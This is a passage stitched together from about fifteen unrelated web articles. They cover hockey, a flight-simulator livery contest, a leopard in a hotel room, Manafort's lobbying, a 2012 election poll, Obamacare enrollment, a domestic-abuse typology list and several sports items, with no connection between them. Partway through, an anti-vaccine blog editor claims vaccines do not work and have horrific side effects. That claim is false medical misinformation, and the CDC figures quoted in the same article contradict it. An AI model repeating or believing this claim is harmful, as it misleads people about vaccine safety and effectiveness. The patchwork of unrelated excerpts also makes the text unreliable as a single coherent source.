guys when has the puck. That's a tough thing defensively to try to push him away from it. When you think of Zach he's also strong on the puck, tough to get it away from him. He's real good below the hash marks and Jimmy is displaying that. He has those cutbacks and the ability to make those little passes to support and be able to get a shot off in the tight area too, which is something Zach has made a living doing."  Mika Zibanejad has had an impact with the Rangers so far, similar to the impact Derick Brassard had when he first arrived to New York. But how different has Zibanejad made the lineup with the impact he's had, the skill he's brought, the chemistry he's had with Chris Kreider and for a few games Pavel Buchnevich, and the fact that he's a righty too?  "It's been huge, just that different look with that right-handed shot. I've never really played with any right-handed centers with that kind of skill besides Step [Derek Stepan]. Now we've got two of those guys and it gives you a totally different dimension added to our team's offense, both power play situations and 5-on-5 stuff. His length and his reach are huge for him, passing around guys and getting to pucks. Obviously he's a great playmaker, but he's a threat to shoot and that makes him a dual threat. As a defenseman you know he can shoot so you may take the lane away, but then he's passing off to someone else who is open. He's got a great chemistry going with some guys and it's been exciting to see. I think that size is a big advantage for him too. He uses it to protect pucks on the wall and to create space for himself. He's gained confidence here pretty quick in understanding he's a big part of our team."
-There are not many repaints of Carenado’s Cessna Centurion for X-Plane so it’s time to take action.  Out there, there are a lot of good repainters and if you’re one of them, then this is your chance.  If you want to get your shot, the rules are pretty simple:  Repaint the Cessna Centurion by Carenado Upload your livery to X-Plane.org Tweet your livery to @simcodersdotcom including the #realityexpansionpack hashtag  On September 1st, X-Plane’s users will be able to choose the livery they like more and we’ll reward it with a free copy of the Reality Expansion Pack for the Cessna T210M Centurion.  Few rules of thumb for a good repaint  A repaint:  Should be based upon an existing livery (take a look at http://www.airliners.net) Must be as detailed as possible Should use the mipmaps correctly May contain more versions of the livery (for example, one with and one without the registration number) Must be free  Where to get the blank livery  To get the blank livery you must already own the Cessna Centurion by Carenado. Their zip contains the original blank livery from which you should start from.  So come on folks! It’s time to repaint!
-Terry Firma  In Troy, NY, a part-time child-care worker for the Troy Housing Authority, Willie Bacote, said he hurt his back on the job two years ago. Bacote began drawing worker’s comp insurance.  But the State Insurance Fund thought there might be something fishy about Bacote’s claim, and had investigators keep an eye on him.  They monitored Bacote at his other job; he is also a pastor of Missing Link AME Zion Church, and runs a flea market at the church to support its operations. There, the insurance team repeatedly observed and video-recorded Bacote lifting and schlepping objects like couches, chairs, and heavy boxes.  The state reviewed his case and ruled that the pilfering pastor has to pay back the workman’s comp money.  While lesser men would have been given additional fines (most thieves don’t claim the mantle of godly goodness), the state of New York decided to let Bacote off lightly.  It appears from the video evidence that he is making valuable efforts on behalf of his community,  the ruling noted.
-A leopard entered a couple's hotel room in Nainital.  Highlights Leopard smashed window pane to get into hotel room Room was occupied by Meerut couple vacationing in Nainital As the leopard walked into the washroom, the couple locked it in  Imagine being locked inside a hotel room with a leopard for company.A couple from Meerut vacationing in the sylvan surroundings of Nainital was chilled to the bones when they found a leopard pacing about their room early in the morning.The big cat smashed the window pane to get into the room as Mr. Sumit Rathore and his wife Ms. Shivani cowered behind the bed to escape its notice.As the animal leisurely walked into the washroom, Mr. Sumit plucked some courage and bolted the door from outside and locked in the big cat and raised an alarm, Ranger Pramod Tiwari said.A forest department team arrived with a cage and tranquiliser gun to trap the leopard but it jumped out of the washroom ventilator and vanished in the nearby forest, he said.Apparently, the one-and-half-year-old leopard had sought refuge in the hotel room after being chased by wild dogs, the ranger said.The hotel where the incident took place is located in Tallital area.Earlier this month, a black Himalayan bear was spotted roaming the streets of Nainital in the wee hours.It broke the window pane of a hotel room where some tourists were staying leaving them aghast.After an alarm was raised, it walked down the lanes, descended into the lake and swam across it, before disappearing into the Ayarpatta jungle.
-Rangers and Hearts have both suffered insolvency  Scotland's senior football clubs have voted to stiffen the punishments for becoming insolvent.  Any club that enters administration will receive an immediate 15-point deduction, with a five-point deduction the following season.  And, if there's a second case within five years, the penalties would be 25 points straight away, with 15 deducted the following season.  Presently, there is a 15-point loss for a first instance and 25 for a second.  The latter applies should it occur within a five-year period.  The Scottish Professional Football League said that the amendment to its rules "was approved overwhelmingly by clubs" at its meeting at Hampden Park.  Dundee, Dunfermline Athletic, Hearts, Livingston and Rangers have all entered administration during the last six years.  Previous to that, Airdrieonians, Clydebank, Greenock Morton, Gretna and Motherwell have also suffered financial problems since 2000.  Dundee and Livingston have both been in administration twice.
-Beijing asked to free HK from torture convention  Ambrose Lee said Beijing should consult the SAR government on whether Hong Kong should be released from its obligations under the UN Convention Against Torture. Photo: RTHK  Former security secretary Ambrose Lee has asked China’s top legislative body to start the process of withdrawing Hong Kong from the United Nations Convention Against Torture, citing the ‘high number’ of torture claimants here.  Lee – a member of the National People’s Congress (NPC) – proposed that Beijing can consult the SAR government on whether the territory should be released from the international convention, even though China will stay on as the signatory of the UN treaty. Lee made the proposal on Friday during the ongoing NPC plenary session in Beijing.  He said the flood of torture claimants in Hong Kong has added to the city’s financial and security burden, and freeing the city from its obligations under the convention would be one ‘drastic’ way to deal with the problem if it's not possible to stop the claimants from seeking asylum here  The Chief Executive, CY Leung, had in January suggested that Hong Kong could unilaterally withdraw from the torture convention if necessary, sparking concerns from legal experts and human rights groups.  Lee conceded the move would affect Hong Kong's international image a "little bit". However, he warned that action needs to be taken before the problem grows out of control, citing the example of some European countries who’ve slammed their doors on asylum seekers after being overwhelmed by a flood of refugees.
-I saw an argument posited online recently saying there is no chance Donald Trump can win the Republican nomination because he is drawing only a fraction of Republicans in current polls.  Ignoring the fact that (at least for now) he is drawing a higher fraction of Republicans than the other candidates, the argument went on to say that because only “a handful” of states are allocating delegates “winner-take-all” this time around, no delegates will vote for him who are not required to, therefore somehow launching some other candidate to the nomination.  This may well be true, but I wanted to test it using what we know about the nomination process.  What we know:  For the GOP, states will allocate delegates in proportion to the popular vote for all states through March 31. States voting/caucusing starting April 1 will allocate delegates winner-take-all. We know the number of delegates per state (assuming no penalties are levied) and we know the schedule (with a few exceptions).  Now, this could all change soon as at least some people think Trump is starting to slide in the polls. But, as of today, averaging Trump’s numbers across the major polls, he is reported to be the top choice of about 24% of Republican voters.  How this works:  Enter Trump’s poll number below. Using what we know right now about the primary schedule and the number of delegates per state, the form below will spit out the number of delegates The Donald will bring to the GOP convention. For proportional primaries, he will be awarded the percentage of delegates that match his poll number (rounded down, just to be conservative about it.) For winner-take-all states, he will be awarded all of the delegates for that state under the assumption that no other candidate is polling higher.
-Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s campaign chairman Paul Manafort helped a pro-Russian political party in Ukraine secretly funnel more than $2 million to two lobbying organizations in Washington, The Associated Press reported Wednesday.  Citing unidentified sources with knowledge of the effort, the AP reported that the $2.2 million in payments was concealed in order to mask the party’s efforts to influence U.S. lawmakers.  ADVERTISEMENT  Manafort's ties to Ukraine have come under heavy scrutiny, with critics questioning whether he has played a role in Trump's favorable statements about the Russian government and its president, Vladimir Putin.  Lobbyists in the U.S. are required by law to register with the Justice Department as “foreign agents” if they receive funding from foreign governments or the leaders of other nations.  The requirements, which are much more stringent than other lobbying requirement, fall under the Foreign Agents Registration Act (FARA) — a law passed during World War II due to fears that the Nazis could influence U.S. policy and public opinion.  From 2012 to 2014, Podesta Group and Mercury earned $2.2 million from the European Centre for a Modern Ukraine, a non-profit organization based in Brussels, according to domestic lobbying disclosure records required under the Lobbying Disclosure Act (LDA).  A legal memo drafted for the firms stated that registration with the Justice Department, and under FARA requirements, was not needed.  The two firms lobbied on several policy issues, including against a resolution that would have slapped sanctions “tailored against persons responsible for the capture of Crimea” and another resolution “condemning the illegal Russian aggression in Ukraine.”  The European Centre for a Modern Ukraine, which has labeled itself as a non-profit research organization, was founded with close ties to the then-ruling party of Viktor Yanukovych and at least one of his primary donors.  Leonid Kozhara, a former foreign minister for Yanukovych’s government, was one of the Centre’s first leaders, according to The Daily Beast.  The Centre was initially governed by a board that included parliament members from Yanukovych's party, according to the AP report.  The amount of funding or backing the non-profit received from a foreign government or its leaders determine whether an advocate must register as a foreign agent.  Lobbyists in the United States who represent private entities — such as companies and non-profits — that are based abroad do not have to file under FARA, unless those entities receive financial support or influence from foreign leaders or governments.  The AP report cites a legal opinion drafted for Mercury that said that while the Centre could be considered a “foreign principal” under the law, disclosing the work to DOJ was not necessary.  “If counsel had determined FARA was the way to go, we would have gladly registered under FARA,” the firm told AP and The Hill.  Podesta Group confirmed the authenticity of the legal opinion, which was drafted jointly with its in-house counsel and Mercury’s in-house and outside counsel.  Kimberley Fritts, the Podesta Group’s CEO, said the non-profit signed a statement testifying to its independence from Ukraine's government.  “The firm has a formal process in place, led by in-house counsel, to ensure that we follow the law, which includes determining whether our work for a given client would best be registered and reported under the Lobbying Disclosure Act or the Foreign Agent Registration Act,” Fritts said in a statement to The Hill.  “To further ensure legal compliance, our agreement with the Centre included a signed attestation that ‘none of the activities of the Centre are directly or indirectly supervised, directed, controlled, financed or subsidized in whole or in part by a government of a foreign country or a foreign political party,’” she added.  That might not be enough to skirt a FARA violation, if it is found that the client misrepresented the level of its ties.  “The U.S. entity may still be liable for some violation of FARA if the principal lied to it, but it’s unlikely there would be a criminal prosecution or jail time as long as the U.S. entity did its due diligence,” said Joshua Ian Rosenstein, a partner at Sandler Reiff Lamb Rosenstein & Birkenstock and expert in lobbying compliance.  However, if Manafort or Rick Gates — another Trump campaign strategist who had worked with Yanukovych’s party — had advised the Centre on what U.S. lobby firms to hire at the time, that may also have triggered disclosure for them under FARA.  Prosecutions under FARA are exceedingly rare, in part because the enforcement system favors voluntary compliance. If a firm or individual has not properly disclosed, in other words, simply correcting the disclosures can be sufficient in some cases.  “We were not aware that Rick Gates was a Party of Regions consultant at the time he introduced us to the Centre,” Fritts told The Hill in the emailed statement. “Our assumption was that he was working for the Centre, as we were hired to do.”  In the AP report, Podesta principal John Ward Anderson issued a similar statement.  The report cites Gates as saying that “he and Manafort introduced the lobbying firms to the European Centre nonprofit and occasionally consulted with the firms on Ukrainian politics.”  He characterized the actions as “lawful,” according to the AP, and said there was no effort to get around registering under FARA.  The New York Times reported earlier this week that Manafort’s name was found in a secret ledger in Ukraine, which listed more than $12 million in cash payments to the political operative, which he has since denied receiving.  Manafort did not register under FARA for any of his activities in Ukraine, but the PR giant Edelman did. The firm subcontracted with Manafort’s firm in 2008 to “develop and execute a media campaign” that pumped up Yanukovych in the United States. Edelman billed $35,000 at the start of the contract, and an additional $35,000 per month for its services, according to disclosures.  While it’s unclear if Manafort’s firm ever did work necessitating a registration with the Justice Department, he could have avoided disclosure if he operated solely in the Ukraine.  - This story was updated at 11:40 a.m.
-According to the latest NBC/WSJ poll, President Obama had a five-point lead when survey participants were asked who they would vote for, and 42 percent of those surveyed believe the economy will get better under Obama. NBC's Chuck Todd reports.  Fueled by increased optimism about the economy and nation’s direction, President Barack Obama leads Mitt Romney by 5 points among likely voters and now sees his job-approval rating reaching the 50 percent threshold for the first time since March, according to a new NBC News/Wall Street Journal poll.  The survey – which was conducted after the two party conventions and the political firestorm over last week’s U.S. Embassy attacks, but before Romney’s controversial comments about the 47 percent of the country “who are dependent on government” – shows the percentages believing that the country is headed in the right direction and thinking that the economy will improve at their highest levels since 2009.  In the presidential horse race, Obama and Vice President Joe Biden get the support of 50 percent of likely voters, while Romney and running mate Paul Ryan get 45 percent.  National Review and Bloomberg View's Ramesh Ponnuru, Roll Call's Shira Toeplitz and The Hotline's Reid Wilson take a look at the latest numbers out of the NBC, Wall Street Journal and Marist poll and talk about how battleground states may play out for the presidential candidates.  NBC/WSJ poll: Obama's approval on foreign policy drops  Among a wider sample of registered voters, the president’s lead is 6 points, 50 percent to 44 percent – up from Obama’s 4-point edge last month, 48 percent to 44 percent.  “It’s clear to me that Barack Obama has moved a … step ahead,” says Democratic pollster Peter D. Hart, who conducted this survey with Republican pollster Bill McInturff.  Evan Vucci / AP President Barack Obama waves as he boards Air Force One on Tuesday, Sept. 18, 2012 in Andrews Air Force Base, Md.  Yet Hart cautions, “It’s a step and only a step.”  Read the full poll here (.pdf)  For his part, McInturff adds that the presidential race may very well have seen an inflection point. “The president is in a stronger position than he was before the convention.”  But noting similarities between the current numbers and those from the 2004 George W. Bush vs. John Kerry race, he urges that this contest could be just as competitive.  “If you look at ’04 as a model, ’04 was really close. And that’s how we should continue to think about the campaign.”  Economic optimism on the rise  According to the survey, 39 percent of registered voters say the country is on the right track, versus 55 percent who say it’s on the wrong track.  The Daily Rundown's Chuck Todd reports on a statement that may significantly damage Mitt Romney's presidential campaign.  That right-track number is a 7-point increase from August, and it’s the highest percentage on this question since Sept. 2009.  Forty-two percent of voters also believe the economy will improve in the next 12 months, which is a 6-point jump from August, and a 15-point rise from July.  NBC/WSJ poll: Optimism in Obama presidency increases  What’s more, 47 percent of registered voters approve of the president’s handling of the economy – up 3 points from last month. Obama’s overall job-approval rating stands at 50 percent for the first time since March.  And 38 percent say the country is better off than it was when he became president, which is a 7-point increase from August. But a plurality of voters – 41 percent – maintain that the country is worse off; 21 percent say it’s in the same place.  Obama vs. Romney on the issues  While none of these numbers is ideal for a president facing re-election, Obama is now tied with Romney (43 percent to 43 percent) on which candidate would be better on the economy. In July, Romney held a 6-point advantage on this question.  Hart, the Democratic pollster, says this finding is potentially ominous for Romney. “Simply put, if Romney doesn’t win on dealing with the economy, he doesn’t win.”  On other issues, Obama leads Romney on dealing with taxes (45 percent to 39 percent) and on dealing with Medicare (47 percent to 37 percent).  And the president is ahead of his Republican challenger on three character traits – being a good commander in chief (45 percent to 38 percent), dealing with issues of concern to women (54 percent to 26 percent), and looking out for the middle class (53 percent to 34 percent).  NBC's Chuck Todd says, "Mitt Romney is not a good campaigner" and still must answer questions regarding his comments that were caught on tape. A Morning Joe panel then debates whether Team Romney needs a campaign shakeup.  Comparing 2012 to 2004  Although Obama enjoys these advantages over Romney, the numbers in the NBC/WSJ poll bear a striking resemblance to those from 2004, when Bush narrowly beat Kerry.  And that has McInturff, the GOP pollster, cautioning that this year’s race could be equally close, despite Obama’s current lead.  Read the full poll here (.pdf)  Indeed, in the Sept. 2004 NBC/WSJ poll, 39 percent believed the country was on the right track (versus 39 percent now); 43 percent thought the economy would improve in the next year (versus 42 percent now); and Bush led Kerry by three points among likely voters (versus Obama’s 5-point edge now).  The NBC/WSJ poll was conducted Sept. 12-16 of 900 registered voters (including 270 by cell phone), and it has margin of error of plus-minus 3.3 percentage points. In that sample, the survey also identified 736 likely voters, and the margin of error there is plus-minus 3.6 percentage points.
-(Stillness in the Storm Editor) The key data point to take away from this story is that the outbreak of Chickenpox occurred in vaccinated children. But how can this be the case? According to vaccine theorists, a vaccinated person can't contract the disease they are vaccinated for, nor can they transmit it to others, known as herd immunity. But clearly this is another myth pushed by the deceptive medical industry, as this outbreak at the  Mariposa School occurred in vaccinated kids.  While some temporary immunity can be gained from vaccines, the cost is mind-boggling, and the bottom-line is, they just don't work as advertised. So whether you're an activist or not, isn't it just good sense to recognize that a product is faulty?  Vaccines are arguably one of the worst products in history, incredibly ineffective, and the side effects are horrific . There's far better ways to impart immunity that don't bypass the bodies natural processes. For more see the links below.  - Justin  Stillness in the Storm Editor's note: Did you find a spelling error or grammar mistake? Do you think this article needs a correction or update? Or do you just have some feedback? Send us an email at Did you find a spelling error or grammar mistake? Do you think this article needs a correction or update? Or do you just have some feedback? Send us an email at sitsshow@gmail.com with the error, headline and url  Thank you for reading.  ________________________________________________________________ Sign-up for RSS Updates: Subscribe in a reader  Subscribe to Stillness in the Storm Blog by Email] Question -- What is the goal of this website? Why do we share different sources of information that sometimes conflicts or might even be considered disinformation? Answer -- The primary goal of Stillness in the Storm is to help all people become better truth-seekers in a real-time boots-on-the-ground fashion. This is for the purpose of learning to think critically, discovering the truth from within—not just believing things blindly because it came from an "authority" or credible source. Instead of telling you what the truth is, we share information from many sources so that you can discern it for yourself. We focus on teaching you the tools to become your own authority on the truth, gaining self-mastery, sovereignty, and freedom in the process. We want each of you to become your own leaders and masters of personal discernment, and as such, all information should be vetted, analyzed and discerned at a personal level. We also encourage you to discuss your thoughts in the comments section of this site to engage in a group discernment process.  "It is the mark of an educated mind to be able to entertain a thought without accepting it." – Aristotle  The opinions expressed in this article do not necessarily reflect the views of Stillness in the Storm, the authors who contribute to it, or those who follow it.  View and Share our Images  Curious about Stillness in the Storm?  See our About this blog - Contact Us page.  If it was not for the gallant support of readers, we could not devote so much energy into continuing this blog. We greatly appreciate any support you provide!  We hope you benefit from this not-for-profit site  It takes hours of work every day to maintain, write, edit, research, illustrate and publish this blog. We have been greatly empowered by our search for the truth, and the work of other researchers. We hope our efforts to give back, with this website, helps others in gaining knowledge, liberation and empowerment.  "There are only two mistakes one can make along the road to truth; not going all the way, and not starting." — Buddha  If you find our work of value, consider making a Contribution.  This website is supported by readers like you.  [Click on Image below to Contribute]  Close to one-quarter of students at a California elementary school have been directed by school officials to stay home for three weeks due to a small onset of chickenpox cases that began in March. The chickenpox outbreak at Mariposa School of Global Education in Augora Hills, California is unique because the first case of chickenpox discovered at the school was found in a student who had been fully vaccinated.Daniel Stepenosky, the superintendent of Las Virgenes Unified School District that includes the Mariposa School, acknowledged to CBS Los Angeles that three students were found to have chickenpox. “A kindergartener, a first-grader, a third-grader. The first case happened around mid-March. The student was immunized, however still contracted chickenpox.”According to local newspaper The Acorn, Stepenosky noted that “(It’s) interesting . . . the first of three cases was a student that was fully immunized. . . . He was the vaccinated one.”This student was reported to have contracted the disease back in March. After two more cases were found, the school district took action to keep the unvaccinated students out of school for three weeks.While individual school policies vary according to state laws, it’s typical for school officials to notify parents who do not vaccinate their children when an outbreak of a vaccine-preventable disease occurs. About 400 students attend Mariposa School of Global Education. Around ninety of those students have not been vaccinated for chickenpox, and on May 1st the parents of those students were ordered to keep their children home for 21 days.“Given that there were three cases, given that they were in three different grades, the health department gave the directive to exclude students who are not immunized,” said Stepenosky.Vaccination rates at the Mariposa School have risen greatly in recent years. In 2015, it was reported that about 40% of the students were current on vaccinations; following changes in state law, that number is up to 80%.In 2016, the state of California halted the allowance of personal and religious exemptions for vaccinations, and currently, only medical exemptions issued by licensed doctors are allowed.“There are legitimate medical waivers,” Stepenosky said. “For example, a student with a compromised immune system, which could be for any reason, is often because they are fighting cancer.”The chickenpox vaccine has been reported by the Centers for Disease Control and Prevention to be 90% effective if an individual has received two doses.The CDC also notes that “some people who are vaccinated against chickenpox may still get the disease. However, it is usually milder with fewer blisters and little or no fever.”_________________________
-The total number of customers who selected by Dec. 5 was 1,383,683 plans. They were split nearly evenly between people renewing health coverage, or 52 percent, and the remaining 48 percent being new customers. For the enrollments to take effect, people must pay their first month's premiums.  HealthCare.gov serves 37 states. The data released Wednesday does not include enrollments from the 14 exchanges run by individual states and the District of Columbia.  The number of applications on HealthCare.gov also surged in the third week, growing to 974,018 applications submitted, up from 520,427 the week before.  Read MoreGruber: Move past 'misguided' Obamacare comments  The site's telephone call center handled over 982,000 calls, more than double the 484,867 made in the prior week.  "Open enrollment's momentum is building, and I've seen that firsthand as I traveled the country and talked to people, from Florida to New Jersey to Pennsylvania to Texas," said Sylvia Burwell, secretary of the U.S. Health and Human Services Department. "With less than a week left to sign up for coverage that starts Jan. 1, we're encouraging new and returning consumers to visit HealthCare.gov, call the call center, or get in touch with a local assister by Dec. 15."  This Obamacare open enrollment season, the second so far, runs through Feb. 15. Most Americans are required under the Affordable Care Act to have some form of health insurance coverage by that day or be subject to a tax penalty equal to up to 2 percent of their adjusted gross income next year.  Just before open enrollment began, there were about 6.7 million people enrolled in Obamacare plans nationally. Burwell has said she expects there to be about 9.1 million Obamacare enrollees by the end of 2015.  Many of those enrollees are likely to come from current customers. HHS this year is instituting a program that will automatically renew most existing customers in their current health plans unless they select another option.  While that program would support Obamacare enrollment tallies, Burwell and other officials have repeatedly urged existing customers to review their plan options on the government-run exchanges because of the chance they will find a less-expensive option than the one they have, or a plan that better suits their health needs.  Another issue that concerns officials is that a customer's current subsidy that helps them pay for their premiums could be reduced if they accept re-enrollment without shopping for another plan. Those subsidies are tied to the price of certain plans on Obamacare exchanges, and if that benchmark plan changes, it could lead to changes in the value of the subsidies.
-TYPES OF ABUSE Domestic Violence comprises a wide range of types of abuse. Incidents are not generally a one-off event, but can be seen as forming part of a coercive pattern of controlling behaviour. This list includes some of the ways in which a person experiencing domestic violence might be abused: not all of these behaviours would necessarily fall within the criminal law. Slapping Insisting on having sex whenever he wants it Restricting her movements Making her put things back in an exact order Threats of physical violence Smacking Having sex with her when she doesn't want it Preventing her from keeping appointments Finding endless trivial tasks for her to do Threats of future physical violence Smacking in the face Refusing to have sex with her Timing her movements Making her continually redo tasks after finding fault with what she has done Threats of sexual violence Pushing Having affairs to humiliate her Accompanying her everywhere Making her polish the soles of his shoes Threats of future sexual violence Shoving Having sex with others in front of her Following her everywhere Enforcing a routine Threats with weapons or objects Pushing downstairs Denying her sexuality Making decisions for her Only letting her use the bathroom or toilet at certain times of day Threats to kill her Punching Expecting to have sex with her after having physically assaulted her Making her work long hours Preventing her from sleeping Threats to harm or kill her children Kicking Using objects during intercourse against her will Preventing her from working Making her sleep on the floor Threats to take her children away Hitting Forcing her to watch or engage in pornography Isolating her from her friends and family Preventing her from eating Threats to harm or kill another loved one Hitting her with objects Enforcing sado-masochistic activity Making her family and friends too scared to contact her Making her eat inedible food or disgusting things Threats to harm or kill pets Holding her against the wall Forcing her to perform sexual acts in front of her children Turning her family and friends against her Preventing her from getting or keeping her job Threats to self harm or commit suicide Holding her down Forcing her to perform sexual acts in front of other people Getting his family or friends to intimidate her Preventing her from studying Threats to have her deported Banging her head against the floor Forcing her to perform sexual acts with other people Isolating her from her community Destroying her work Threats to report her to the authorities Banging her head against the wall Forcing her to perform sexual acts with animals Telling her no-one else cares about her Taking her money Threats to destroy possessions Bruising Refusing access to contraception Taking away her documents and papers Refusing her money Threats to burn down her home Blacking eyes Refusing to let her have an abortion Removing her passport Refusing her economic independence Threats to exclude her from her family or community Biting Making her have an abortion Preventing her from learning the local language Demanding receipts for all spending Threats to make her lose her job Breaking bones Assaulting her when she is pregnant Having others believe him over her despite evidence to the contrary Making her ask or beg for money Threats to expose things she is ashamed of to others Burning Prostituting her against her will Telling her children lies about her Keeping her misinformed about her entitlements Exposing things she is ashamed of to others Burning her with cigarettes Refusing to practice safe sex Telling others lies about her Incurring debts and expecting her to pay them Saying things he knows are deeply hurtful Burning her with acid Sexually abusing her children Making her tell lies for him Incurring debts in her name Using racism against her Setting fire to her Sexual name calling Manipulating her children Forcing her to commit acts of fraud Using her sexuality against her Scalding Forcing her to engage in sexual practices she does not like Telling her children things she doesn't want them to know Shouting at her Using her disability against her Shaking Making her afraid by looks, actions, gestures Turning her children against her Screaming at her Telling her her reactions are irrational Strangling Breaking objects Harassing her after separation Swearing at her Telling her there is no escape Suffocating Breaking valued possessions Using child contact to harass her Insulting her Telling her he will find her is she does escape Choking Driving dangerously whilst she is in the car Having her children taken away from her Undermining her Physically preventing her escape Throwing her Driving the car at her Getting information about her from her children Telling her what to wear Withdrawing affection Throwing objects at her Driving the car at her children Sending her unwanted gifts Criticising her appearance Ignoring her Attacking her with a weapon Being violent to others as a lesson to her Being obsessionally possessive Criticising her abilities Refusing to talk to her Stabbing Hurting her in front of her children Being obsessionally jealous Criticising her sexual performance Repeatedly interrogating her Stripping her of clothing and making her stand there Hurting her children Watching her at home or work Criticising her work or housekeeping Behaving unpredictably Forcing her to hurt herself Hurting her children in front of her Destroying her letters Making her do housework in the middle of the night Keeping her constantly on edge Forcing her to drink alcohol Telling stories about how he has hurt others Sending threatening letters Making her lick the dinner plates clean Making her afraid to go to sleep Forcing her to take drugs Telling her how he would like to hurt her Phoning her and making her feel afraid Criticising her in front of others Making her afraid to wake up Withholding medication Locking her out Not letting her use the phone Telling her she is mad Continually breaking promises Withholding care if she is ill, disabled or elderly Keeping her locked in Cutting off the phone Telling her she is ugly Making her do things she doesn't want to do to prove her love Holding her head underwater Keeping her locked in a room Mocking or humiliating her Telling her she is stupid Telling her nobody else would want her Drowning Keeping her locked in a cupboard or under the stairs Mocking or humiliating her in front of others Telling her she is a disgrace Telling her no-one would believe her Attempted murder Taking away her possessions Abusing her in front of others Telling her she is a slut Telling her that his behaviour is normal Murder Destroying her possessions Intimidating others so that they do not intervene to help her Telling her she is useless Making her accept that his behaviour is normal Rape Taking away her clothes Allowing her no privacy Telling her she is worthless Telling her he only abuses her because he loves her Forced oral sex Destroying her clothes Spitting on her Telling her she is a failure Minimising the harm that he has caused Forced anal sex Saying 'next time it will be you' Urinating on her Telling her she is a bad mother Denying that any abuse has taken place Sexual assault Vandalising her home Degrading her Doing so in front of her children or others Telling her that it is her fault Having sex with her when she is asleep Setting fire to her home Brainwashing her Making her think she is mad, ugly, stupid, a disgrace, a slut, useless, worthless, a failure, a bad mother Making her believe that it is her fault  REFERENCES, LINKS & FURTHER READING  This list was developed from: A risk assessment and safety planning tool prepared for the Council of Europe Police and Human Rights Programme, by Prof Liz Kelly (Child and Woman Abuse Studies Unit, University of North London)  St Helen's & Knowsley Working together for Safer, Healthier Families 'Domestic Violence Prevention Training Toolkit  Harwin, N (1997) Understanding Women's Experience of Abuse in Bewley, S., Friend, J. & Mezey, G Violence Against Women London: RCOG
-Martinez led Wigan to their first FA Cup trophy win, beating Manchester City in 2013  Former Everton, Wigan and Swansea manager Roberto Martinez has been appointed as the new head coach of Belgium.  Spaniard Martinez, 43, was sacked by the Toffees in May after three years in charge at Goodison Park.  He succeeds Marc Wilmots, who left his post last month, two weeks after the Euro 2016 quarter-final defeat by Wales.  The vacancy was advertised online by the Belgian Football Association.  It wanted a "strong and open communicator" who has a "proven track record in transmitting tactical and strategic knowledge" to top players.  BBC presenter and former England striker Gary Lineker gives his reaction on Twitter  In a statement, the Belgian FA said it was "delighted and proud to have found a coach at this level so quickly".  Martinez will hold a news conference at 11:30 BST on Thursday and his first match is against Spain on 1 September.  At Everton, Martinez managed Belgium internationals Marouane Fellaini, Romelu Lukaku and Kevin Mirallas.
-The AFL was planning to announce the landmark event of the August 16 broadcast on May 12, the day of an annual industry event that recognises the importance of women to the game and the challenges they face. Tayla Harris taking a big grab in 2014. Credit:Getty Images Though still in the early planning stages from a broadcast perspective, the women's match will air at 12:30pm live in Melbourne and will also be broadcast nationally on Channel Seven. Channel Seven issued a statement late on Thursday to say it is in "pre-production with the AFL" for what will be "a history-making AFL television first in Australia". The network said it would have more details about the broadcast in "coming weeks".  This is the first year the AFL has sanctioned two women's matches involving players from all over Australia who nominated for a draft. The third, and most recent, women's draft in early April received poor mainstream exposure after it was publicised by the AFL the day before it occurred. But it saw 34 of Australia's most outstanding female footballers selected by the Bulldogs (to be coached by former Collingwood and Brisbane Bears player Craig Starcevich this year) and the Demons (to be coached by pioneer Michelle Cowan). A revamp of the women's draft saw a selection of players, including one of the best, and best-known, female footballers, Daisy Pearce, retained by the clubs they have previously represented. In Pearce's case, that club is Melbourne. Only last week Alberti questioned the AFL's commitment to women's football, telling Fairfax after attending the female footballers' draft: "Let's just say I believe that far much more could be done. "The recognition that these women deserve right here and now is just not happening."  Alberti also said she believes that if the AFL was to achieve its vision of establishing a national female competition by 2017 - McLachlan brought the target in from the initial goal of 2020 – it may need a dedicated executive on the job. Presently, the women's football project largely falls under the remit of the AFL's Dorothy Hisgrove, its general manager of people, customer and community. But Alberti wondered last week if Hisgrove's broad-ranging brief meant women's football was not getting the attention it deserved. "I think she's been working incredibly hard to try [to] bring women's football to the forefront," Alberti said of Hisgrove, who she met with in the off-season. "Perhaps they need to give a bit more support and help to Dorothy. She appears to me to be working under the pump. She's a dynamo of a woman, but maybe she needs some more resources and support to be able to do this." Loading  According to AFL research, women's football at Auskick, under-nines, club and school level has grown in the past year by about 15 per cent, and it's estimated there are 194,000 participants. There were 268 nominations for this year's women's draft.
-SALT LAKE CITY – The University of Utah today announced plans for a feasibility study to expand the south end zone at Rice-Eccles Stadium. This review will include a market analysis, cost estimates and funding models. The study is a critical first step in determining a business plan that supports potential changes to the stadium's south side."Understanding the market, costs and feasibility will help us better prepare for the future of the stadium," said President David W. Pershing. "There's still much work to be done before taking steps toward renovation. We have to know if the market will support this kind of expansion."The study will provide the University valuable data in evaluating demand and determining potential revenue sources, including private donations and possibly increased ticket revenue.The south end zone is the only area unchanged since the stadium opened in 1998. A reconstruction could include replacement of locker rooms, equipment storage and media rooms, and space for medical services and hospitality opportunities. The study will consider the feasibility of additional suites, loges, fan interaction and concession areas, including connecting the east and west concourses.Rice-Eccles Stadium currently seats 45,807, and every football game since the 2010 season opener has sold out. Of those 38 sellouts, 35 have overflowed into the standing room sections. For the past seven years, Utah has had a 98-percent renewal rate for its football season tickets."We want our football team to be successful and our fans to have the best experience possible," said Athletics Director Chris Hill. "This feasibility study will help us better understand how we continue to do all of that in the future."
